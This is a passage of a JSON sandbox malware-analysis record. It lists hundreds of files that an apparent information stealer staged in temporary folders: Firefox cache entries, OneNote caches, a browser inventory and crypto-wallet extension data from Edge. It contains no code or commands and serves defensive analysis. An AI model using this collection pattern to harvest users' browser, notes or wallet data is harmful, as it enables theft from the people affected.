v.txt","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"%TEMP%\\rxclient_1792193633610221700\\output\\Firefox\\ywzu7870.default\\cache2\\entries\\02ABD00ED4A4FD6AE4F52DE4382F135A72A2131C","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"%TEMP%\\rxclient_1792193633610221700\\output\\Browsers\\installed_browsers.txt","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"%TEMP%\\rxclient_1792193633610221700\\output\\Firefox\\ywzu7870.default\\cache2\\entries\\0311672596129101B46B4E433A163DAFE1041BB6","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"%TEMP%\\rxclient_1792193633610221700\\output\\Firefox\\ywzu7870.default\\cache2\\entries\\040E74E71C45D91C46022EA4BEC836CA19AB6DE8","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"%TEMP%\\rxclient_1792193633610221700\\output\\Firefox\\ywzu7870.default\\cache2\\entries\\04267DCF6B6DF3614BF6EE76DCB0B5EB1390F12D","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"%TEMP%\\rxclient_1792193633610221700\\output\\Firefox\\ywzu7870.default\\cache2\\entries\\044A925ADC491F971559A38B382FA7569E9E8137","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"%TEMP%\\rxlss_1792194023545449700\\lss.exe","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"%TEMP%\\rxclient_1792193633610221700\\output\\Notes\\OneNote\\14.0\\OneNoteOfflineCache.onecache","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"%TEMP%\\rxclient_1792193633610221700\\output\\Firefox\\ywzu7870.default\\cache2\\entries\\047880D7EC2D2467D4622E814C9780F95A7A160F","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"%TEMP%\\rxclient_1792193633610221700\\output\\Wallets\\Edge\\jdiccldimpdaibmpdkjnbmckianbfold\\000003.log","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"%TEMP%\\rxclient_1792193633610221700\\output\\Wallets\\Edge\\jdiccldimpdaibmpdkjnbmckianbfold\\CURRENT","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"%TEMP%\\rxclient_1792193633610221700\\output\\Wallets\\Edge\\jdiccldimpdaibmpdkjnbmckianbfold\\LOCK","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"%TEMP%\\rxclient_1792193633610221700\\output\\Wallets\\Edge\\jdiccldimpdaibmpdkjnbmckianbfold\\LOG","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"%TEMP%\\rxclient_1792193633610221700\\output\\Wallets\\Edge\\jdiccldimpdaibmpdkjnbmckianbfold\\MANIFEST-000001","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"%TEMP%\\rxclient_1792193633610221700\\output\\Firefox\\ywzu7870.default\\cache2\\entries\\048C0BA637EBDCC6986C557430C171C0FFEFB666","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"%TEMP%\\rxclient_1792193633610221700\\output\\Firefox\\ywzu7870.default\\cache2\\entries\\04F7615FBC29346C1C06F188DF08171608B148A0","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"%TEMP%\\rxclient_1792193633610221700\\output\\Notes\\OneNote\\14.0\\OneNoteOfflineCache_Files\\02c14a7a-abed-4a36-907f-cf06fb6278c2","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"%TEMP%\\rxclient_1792193633610221700\\output\\Firefox\\ywzu7870.default\\cache2\\entries\\0505E39591E4B6D9940370D4300ABD03896C7EE9","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"%TEMP%\\rxclient_1792193633610221700\\output\\Firefox\\ywzu7870.default\\cache2\\entries\\05250D893D6013CB681BC7B40EC3AB84090AC132","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"%TEMP%\\rxclient_1792193633610221700\\output\\Firefox\\ywzu7870.default\\cache2\\entries\\05582FF5C196A4485F189490FEC9ECEA0890DA32","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"%TEMP%\\rxclient_1792193633610221700\\output\\Firefox\\ywzu7870.default\\cache2\\entries\\05BB2A24C9592E36B2CB5E2F0449D4BB3A6021AE","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"%TEMP%\\rxclient_1792193633610221700\\output\\Notes\\OneNote\\14.0\\OneNoteOfflineCache_Files\\03809a07-348b-48cc-b08d-f7b8472c133c.png","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"%TEMP%\\rxclient_1792193633610221700\\output\\Notes\\OneNote\\14.0\\OneNoteOfflineCache_Files\\06eecbf9-58f1-49d7-82dd-28980b9a6892","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"%TEMP%\\rxclient_1792193633610221700\\output\\Firefox\\ywzu7870.default\\cache2\\entries\\060C63588F45B35E7341A8950BAB98961FAC3E03","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"%TEMP%\\rxclient_1792193633610221700\\output\\Notes\\OneNote\\14.0\\OneNoteOfflineCache_Files\\072143f8-573f-45cb-b0b1-04f7bf2da18e.png","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"%TEMP%\\rxclient_1792193633610221700\\output\\Firefox\\ywzu7870.default\\cache2\\entries\\065B135CB798BE21F556DAA7E21182BCA84B74AD","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"%TEMP%\\rxclient_1792193633610221700\\output\\Notes\\OneNote\\14.0\\OneNoteOfflineCache_Files\\072835f6-feb1-45f8-8d70-b1a8d9401029","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"%TEMP%\\rxclient_1792193633610221700\\output\\Firefox\\ywzu7870.default\\cache2\\entries\\06DACCBAC548ADC3BD4E99DA57B80FCA754FD0B8","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"%TEMP%\\rxclient_1792193633610221700\\output\\Notes\\OneNote\\14.0\\OneNoteOfflineCache_Files\\07615dd4-2ff7-4510-804f-2eceb1ca813c.png","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"%TEMP%\\rxclient_1792193633610221700\\output\\Firefox\\ywzu7870.default\\cache2\\entries\\07B3BF39C7822718F6EA5C627D7D92EEC198B2DB","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"%TEMP%\\rxclient_1792193633610221700\\output\\Notes\\OneNote\\14.0\\OneNoteOfflineCache_Files\\07a5080e-becd-4719-9a79-fe50b59eb55b.png","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"%TEMP%\\rxclient_1792193633610221700\\output\\Firefox\\ywzu7870.default\\cache2\\entries\\07C90D62A7D3F8A43241091A4C2E6390C58578A2","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"%TEMP%\\rxclient_1792193633610221700\\output\\Notes\\OneNote\\14.0\\OneNoteOfflineCache_Files\\080158a4-05b2-4392-9dd9-be70cc27d215","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"%TEMP%\\rxclient_1792193633610221700\\output\\Firefox\\ywzu7870.default\\cache2\\entries\\08143EA1FC2948205C9E13E6ED5AA9AB4D2B0120","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"%TEMP%\\rxclient_1792193633610221700\\output\\Notes\\OneNote\\14.0\\OneNoteOfflineCache_Files\\0b5020d3-7b17-4f8e-8367-556132218efc","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"%TEMP%\\rxclient_1792193633610221700\\output\\Firefox\\ywzu7870.default\\cache2\\entries\\08339B2C8725AE0977C50D9DC59BC128E34AC049","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"%TEMP%\\rxclient_1792193633610221700\\output\\Notes\\OneNote\\14.0\\OneNoteOfflineCache_Files\\0ba9d8e0-32de-4c22-bd2a-0680e01a43fc","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"%TEMP%\\rxclient_1792193633610221700\\output\\Firefox\\ywzu7870.default\\cache2\\entries\\08CDAAB5F3E7B7B54B4C3C07A397B42E961D6250","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"%TEMP%\\rxclient_1792193633610221700\\output\\Notes\\OneNote\\14.0\\OneNoteOfflineCache_Files\\0d984a6a-e70e-4747-bded-b92173e85c21.png","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"%TEMP%\\rxclient_1792193633610221700\\output\\Firefox\\ywzu7870.default\\cache2\\entries\\0949C2D36A68EE7D9860C2B6188C640357AA14EB","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"%TEMP%\\rxclient_1792193633610221700\\output\\Firefox\\ywzu7870.default\\cache2\\entries\\09EA9480679B77D360A8E87461D69350EF4F6656","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"%TEMP%\\rxclient_1792193633610221700\\output\\Notes\\OneNote\\14.0\\OneNoteOfflineCache_Files\\0ddb5d83-3980-43df-b938-98cc27f2ce80.png","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"%TEMP%\\rxclient_1792193633610221700\\output\\Firefox\\ywzu7870.default\\cache2\\entries\\0A88DF8400DBEA1482ECE530DA4E70E00DA66A41","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"%TEMP%\\rxclient_1792193633610221700\\output\\Notes\\OneNote\\14.0\\OneNoteOfflineCache_Files\\0dde7a88-a5c2-41d6-b34c-e1d9b728cf37","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"%TEMP%\\rxclient_1792193633610221700\\output\\Notes\\OneNote\\14.0\\OneNoteOfflineCache_Files\\0ec91619-5478-4e5c-aa1b-8da00a066091.png","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"%TEMP%\\rxclient_1792193633610221700\\output\\Firefox\\ywzu7870.default\\cache2\\entries\\0AB1BE712BE7745C73A5EFA8DFC4780205FD18D7","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"%TEMP%\\rxclient_1792193633610221700\\output\\Firefox\\ywzu7870.default\\cache2\\entries\\0AC6FC0D0747D70D88E3A81DEDF722D43FF70A5A","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"%TEMP%\\rxclient_1792193633610221700\\output\\Notes\\OneNote\\14.0\\OneNoteOfflineCache_Files\\0ff838eb-89b4-4a2f-881a-6e583195d26c.png","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"%TEMP%\\rxclient_1792193633610221700\\output\\Firefox\\ywzu7870.default\\cache2\\entries\\0B2B55D2679BAC2785FCDDF9F5AA6193E8E5CF5D","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"%TEMP%\\rxclient_1792193633610221700\\output\\Firefox\\ywzu7870.default\\cache2\\entries\\0BDB047D2276D9E4588D4352648C3C5C7D96B9E5","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"%TEMP%\\rxclient_1792193633610221700\\output\\Notes\\OneNote\\14.0\\OneNoteOfflineCache_Files\\10ca911c-7fc2-4ed5-9965-88f551ff7fde","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"%TEMP%\\rxclient_1792193633610221700\\output\\Notes\\OneNote\\14.0\\OneNoteOfflineCache_Files\\115556d6-ba8b-4b18-8439-8e9c81ff63a4.png","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"%TEMP%\\rxclient_1792193633610221700\\output\\Firefox\\ywzu7870.default\\cache2\\entries\\0C3B46349FB985C4728E741A06B523D47DB18D2C","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"%TEMP%\\rxclient_1792193633610221700\\output\\Notes\\OneNote\\14.0\\OneNoteOfflineCache_Files\\13363038-e235-4b9e-9031-d6c58d12484d.png","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"%TEMP%\\rxclient_1792193633610221700\\output\\Firefox\\ywzu7870.default\\cache2\\entries\\0C6AB0F91A82C59B43C591F5A348648700E8C4A9","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"%TEMP%\\rxclient_1792193633610221700\\output\\Notes\\OneNote\\14.0\\OneNoteOfflineCache_Files\\1432d74b-a831-4ac2-8265-ef41f133494e.png","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"%TEMP%\\rxclient_1792193633610221700\\output\\Firefox\\ywzu7870.default\\cache2\\entries\\0D417BF0D3F32D631EA2D266B62CF69BCCE4BF44","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"%TEMP%\\rxclient_1792193633610221700\\output\\Notes\\OneNote\\14.0\\OneNoteOfflineCache_Files\\15f1ba95-3461-409b-9e8d-63fd5a916242.png","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"%TEMP%\\rxclient_1792193633610221700\\output\\Notes\\OneNote\\14.0\\OneNoteOfflineCache_Files\\1a16981c-377d-4a10-9522-787f93302c18.png","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"%TEMP%\\rxclient_1792193633610221700\\output\\Firefox\\ywzu7870.default\\cache2\\entries\\0DA04B823CA0C0ACF59ED87C1D5225298C5F2750","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"%TEMP%\\rxclient_1792193633610221700\\output\\Notes\\OneNote\\14.0\\OneNoteOfflineCache_Files\\1bf85fd8-2752-4457-88c6-58e635274be9","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"%TEMP%\\rxclient_1792193633610221700\\output\\Firefox\\ywzu7870.default\\cache2\\entries\\0E7138D44BA693EABBF45B95D30414C3CD8F258A","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"%TEMP%\\rxclient_1792193633610221700\\output\\Firefox\\ywzu7870.default\\cache2\\entries\\0E950F68F8F48174A12EE43F181D2D2C58F7A2E4","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"%TEMP%\\rxclient_1792193633610221700\\output\\Notes\\OneNote\\14.0\\OneNoteOfflineCache_Files\\1e81fb27-0aa3-4b11-a764-0d9e7e3272ea.png","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"%TEMP%\\rxclient_1792193633610221700\\output\\Notes\\OneNote\\14.0\\OneNoteOfflineCache_Files\\1f5b048b-460f-40ea-9a03-eb303ea49bc0","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"%TEMP%\\rxclient_1792193633610221700\\output\\Notes\\OneNote\\14.0\\OneNoteOfflineCache_Files\\2147f109-1c62-4e69-b80a-c2123d58b00c","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"%TEMP%\\rxclient_1792193633610221700\\output\\Firefox\\ywzu7870.default\\cache2\\entries\\0EDDF8C091E2FED62E44BEDDDC1723F5BF38FE4F","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"%TEMP%\\rxclient_1792193633610221700\\output\\Notes\\OneNote\\14.0\\OneNoteOfflineCache_Files\\21612353-e53d-4fae-ac9e-034978204566.png","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"%TEMP%\\rxclient_1792193633610221700\\output\\Notes\\OneNote\\14.0\\OneNoteOfflineCache_Files\\24bd032f-9799-4b6b-a717-83aaca91bbf7","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"%TEMP%\\rxclient_1792193633610221700\\output\\Firefox\\ywzu7870.default\\cache2\\entries\\0F71DBFE4F24CF0FFF578806621A0AADF32E36E1","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"%TEMP%\\rxclient_1792193633610221700\\output\\Notes\\OneNote\\14.0\\OneNoteOfflineCache_Files\\2b830d01-9946-49ad-9255-6ee877aba6c9","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"%TEMP%\\rxclient_1792193633610221700\\output\\Notes\\OneNote\\14.0\\OneNoteOfflineCache_Files\\2c0d8e04-f798-42d3-b3fe-b69d8830e1ca","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"%TEMP%\\rxclient_1792193633610221700\\output\\Firefox\\ywzu7870.default\\cache2\\entries\\0F7A6FBBE8D89ADB18920D211FF03455FF349105","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"%TEMP%\\rxclient_1792193633610221700\\output\\Firefox\\ywzu7870.default\\cache2\\entries\\0FEBD8BDBFAC8B82791945DC7E04F675419B2F42","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"%TEMP%\\rxclient_1792193633610221700\\output\\Notes\\OneNote\\14.0\\OneNoteOfflineCache_Files\\2d02d28e-c843-42a7-ba9c-3541f1bd4e3a.png","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"%TEMP%\\rxclient_1792193633610221700\\output\\Firefox\\ywzu7870.default\\cache2\\entries\\10794FD3D7A57AE982142FC22B9500BA3F0449BB","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"%TEMP%\\rxclient_1792193633610221700\\output\\Firefox\\ywzu7870.default\\cache2\\entries\\11967C456459F3B1ED247B73A0B9E54B0BD97AB8","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"%TEMP%\\rxclient_1792193633610221700\\output\\Firefox\\ywzu7870.default\\cache2\\entries\\119840D5BD3C8D489B094C8B21E0606BE18D98EF","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"%TEMP%\\rxclient_1792193633610221700\\output\\Notes\\OneNote\\14.0\\OneNoteOfflineCache_Files\\3155d78c-1584-4dec-9449-314a3d550d29","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"%TEMP%\\rxclient_1792193633610221700\\output\\Firefox\\ywzu7870.default\\cache2\\entries\\12C5797F729FEAC529B8B47C188D14EB02D8CB76","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"%TEMP%\\rxclient_1792193633610221700\\output\\Notes\\OneNote\\14.0\\OneNoteOfflineCache_Files\\33677f2e-1ba5-4f80-975f-af0626e0b56d","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"%TEMP%\\rxclient_1792193633610221700\\output\\Firefox\\ywzu7870.default\\cache2\\entries\\12ECC98152BC850FA48B2E04A95E0E3165167423","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"%TEMP%\\rxclient_1792193633610221700\\output\\Notes\\OneNote\\14.0\\OneNoteOfflineCache_Files\\3506c6f4-6090-46ec-9fb3-0e2963361ba0.png","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"%TEMP%\\rxclient_1792193633610221700\\output\\Notes\\OneNote\\14.0\\OneNoteOfflineCache_Files\\35ebc36a-dd72-4649-9188-254acc3031b0.png","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"%TEMP%\\rxclient_1792193633610221700\\output\\Notes\\OneNote\\14.0\\OneNoteOfflineCache_Files\\3752bafb-4a08-4954-bf8d-61860aca83af.png","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"%TEMP%\\rxclient_1792193633610221700\\output\\Firefox\\ywzu7870.default\\cache2\\entries\\136859282BC6FB96903E00AE429C3F9F1659FB69","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"%TEMP%\\rxclient_1792193633610221700\\output\\Notes\\OneNote\\14.0\\OneNoteOfflineCache_Files\\39d763df-782c-499a-bc6b-282e69c49544.png","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"%TEMP%\\rxclient_1792193633610221700\\output\\Firefox\\ywzu7870.default\\cache2\\entries\\13A5277F52D8E5004231E2F94D3434D462EBA74C","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"%TEMP%\\rxclient_1792193633610221700\\output\\Notes\\OneNote\\14.0\\OneNoteOfflineCache_Files\\3c0a81c8-1e07-459d-8aa4-4cc41618b95d.png","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"%TEMP%\\rxclient_1792193633610221700\\output\\Notes\\OneNote\\14.0\\OneNoteOfflineCache_Files\\3c6a9801-329c-4eba-9524-2165ac426bef.png","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"%TEMP%\\rxclient_1792193633610221700\\output\\Notes\\OneNote\\14.0\\OneNoteOfflineCache_Files\\3c756f12-2366-4b0f-afd5-251f64e2b9f9","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"%TEMP%\\rxclient_1792193633610221700\\output\\Notes\\OneNote\\14.0\\OneNoteOfflineCache_Files\\3cf48f9d-e447-4274-b04d-40880dc5bddc.png","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"%TEMP%\\rxclient_1792193633610221700\\output\\Notes\\OneNote\\14.0\\OneNoteOfflineCache_Files\\3d574e03-cfad-4ff4-abe5-3a5b2dce6df9.png","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"%TEMP%\\rxclient_1792193633610221700\\output\\Firefox\\ywzu7870.default\\cache2\\entries\\156A5CCBEF01C060EFFE6F1F2FE07786A115FBEA","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"%TEMP%\\rxclient_1792193633610221700\\output\\Firefox\\ywzu7870.default\\cache2\\entries\\15C111ED845EF8DCE4E50FC0541F2F6C0F9FCCA3","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"%TEMP%\\rxclient_1792193633610221700\\output\\Firefox\\ywzu7870.default\\cache2\\entries\\160ED1C66A01A49836FDFFF296E82514FAF88E48","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"%TEMP%\\rxclient_1792193633610221700\\output\\Firefox\\ywzu7870.default\\cache2\\entries\\1679441B8AA7B4D31717C773CC4E86A25B37532B","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"%TEMP%\\rxclient_1792193633610221700\\output\\Firefox\\ywzu7870.default\\cache2\\entries\\171D491AFB0CCCB09A3A3A3F0AD76409A0901F9A","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"%TEMP%\\rxclient_1792193633610221700\\output\\Firefox\\ywzu7870.default\\cache2\\entries\\17A9264D48EA447A7E17B6DB3E89163178C4F9D4","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"%TEMP%\\rxclient_1792193633610221700\\output\\Firefox\\ywzu7870.default\\cache2\\entries\\17AAF9B04DD376497FF680B47EA4EE60DB326B15","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"%TEMP%\\rxclient_1792193633610221700\\output\\Notes\\OneNote\\14.0\\OneNoteOfflineCache_Files\\41eb345a-67ed-4293-b790-d66af12e9482.png","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"%TEMP%\\rxclient_1792193633610221700\\output\\Notes\\OneNote\\14.0\\OneNoteOfflineCache_Files\\42a4aea1-ab77-4cf7-a3cb-14953248ceea.png","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"%TEMP%\\rxclient_1792193633610221700\\output\\Firefox\\ywzu7870.default\\cache2\\entries\\185C61A61D47C00267C296D8295F9B3CF648379D","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"%TEMP%\\rxclient_1792193633610221700\\output\\Notes\\OneNote\\14.0\\OneNoteOfflineCache_Files\\46cf9adc-e6bd-46d1-845f-9c46d317ddec","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"%TEMP%\\rxclient_1792193633610221700\\output\\Firefox\\ywzu7870.default\\cache2\\entries\\191C7CECCBF9889304511B6F610C59648B7FC364","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"%TEMP%\\rxclient_1792193633610221700\\output\\Notes\\OneNote\\14.0\\OneNoteOfflineCache_Files\\475651f1-b0b3-4cee-a1ad-7c686301e2cf","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"%TEMP%\\rxclient_1792193633610221700\\output\\Notes\\OneNote\\14.0\\OneNoteOfflineCache_Files\\4788bb55-4d53-48fe-a624-32718407c800","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"%TEMP%\\rxclient_1792193633610221700\\output\\Notes\\OneNote\\14.0\\OneNoteOfflineCache_Files\\482a85d1-ca90-422e-b499-f3cc1eef376d.png","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"%TEMP%\\rxclient_1792193633610221700\\output\\Notes\\OneNote\\14.0\\OneNoteOfflineCache_Files\\4c20f1ad-9db3-4a48-9712-e80be71c5d6c","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"%TEMP%\\rxclient_1792193633610221700\\output\\Notes\\OneNote\\14.0\\OneNoteOfflineCache_Files\\4ce0a476-ccff-4b8a-8bbf-2167040d2665","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"%TEMP%\\rxclient_1792193633610221700\\output\\Firefox\\ywzu7870.default\\cache2\\entries\\19611C2917EAEED7D982314C99CD3C954D8483C8","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"%TEMP%\\rxclient_1792193633610221700\\output\\Notes\\OneNote\\14.0\\OneNoteOfflineCache_Files\\4d583135-0540-4594-88f6-18029335c6db","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"%TEMP%\\rxclient_1792193633610221700\\output\\Firefox\\ywzu7870.default\\cache2\\entries\\196BCA845E91608F7B4CA6127A60D20AF55413AC","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"%TEMP%\\rxclient_1792193633610221700\\output\\Firefox\\ywzu7870.default\\cache2\\entries\\197BBB3A98E65502A9B28F2EFBB7E7E79B1452D2","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"%TEMP%\\rxclient_1792193633610221700\\output\\Notes\\OneNote\\14.0\\OneNoteOfflineCache_Files\\4f92e887-7fef-4a98-9f74-501f37835639.png","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"%TEMP%\\rxclient_1792193633610221700\\output\\Firefox\\ywzu7870.default\\cache2\\entries\\19A03AE5DE9B25B5EEA9D68F5D4BC621BCEDA732","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"path":"%TEMP%\\rxclient_1792193633610221700\\output\\Firefox\\ywzu7870.default\\cache2\\entries\\19CE54A8F841A0A353A76ABC608F422E8EE25D86","sources":[{"report_type":"sandbox","report_id":"6ad2b448e3dfa70fe3096f32"}]},{"